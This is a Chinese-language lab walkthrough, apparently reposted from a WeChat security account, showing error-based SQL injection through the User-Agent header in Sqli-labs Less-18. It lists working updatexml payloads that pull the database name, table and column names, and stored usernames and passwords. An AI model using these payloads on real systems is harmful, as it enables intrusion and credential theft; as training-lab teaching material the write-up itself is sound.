01
预备知识
SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
UserAgent
02
漏洞复现
火狐浏览器
BurpSuite
Sqli-labs靶场
03
复现步骤
1、启动Sqli-labs靶场,进入Less-18关卡
https://github.com/Audi-1/sqli-labs
2、查看网页,显示的是访问者的useragent信息,所以可以通过useragent语句进行注入。
123' or updatexml(1,concat(0x7e,(database())),0) or '
得到当前的名称是security。
123' or updatexml(0,concat(0x7e,(select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='security')),0) or '
123' or updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' )),0) or '
7、获取表中的数据
123' or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from security.users )),0) or '
扫码关注我们
查看更多精彩内容
原文始发于微信公众号(长风实验室):靶场教学 | SQL注入——UserAgent注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论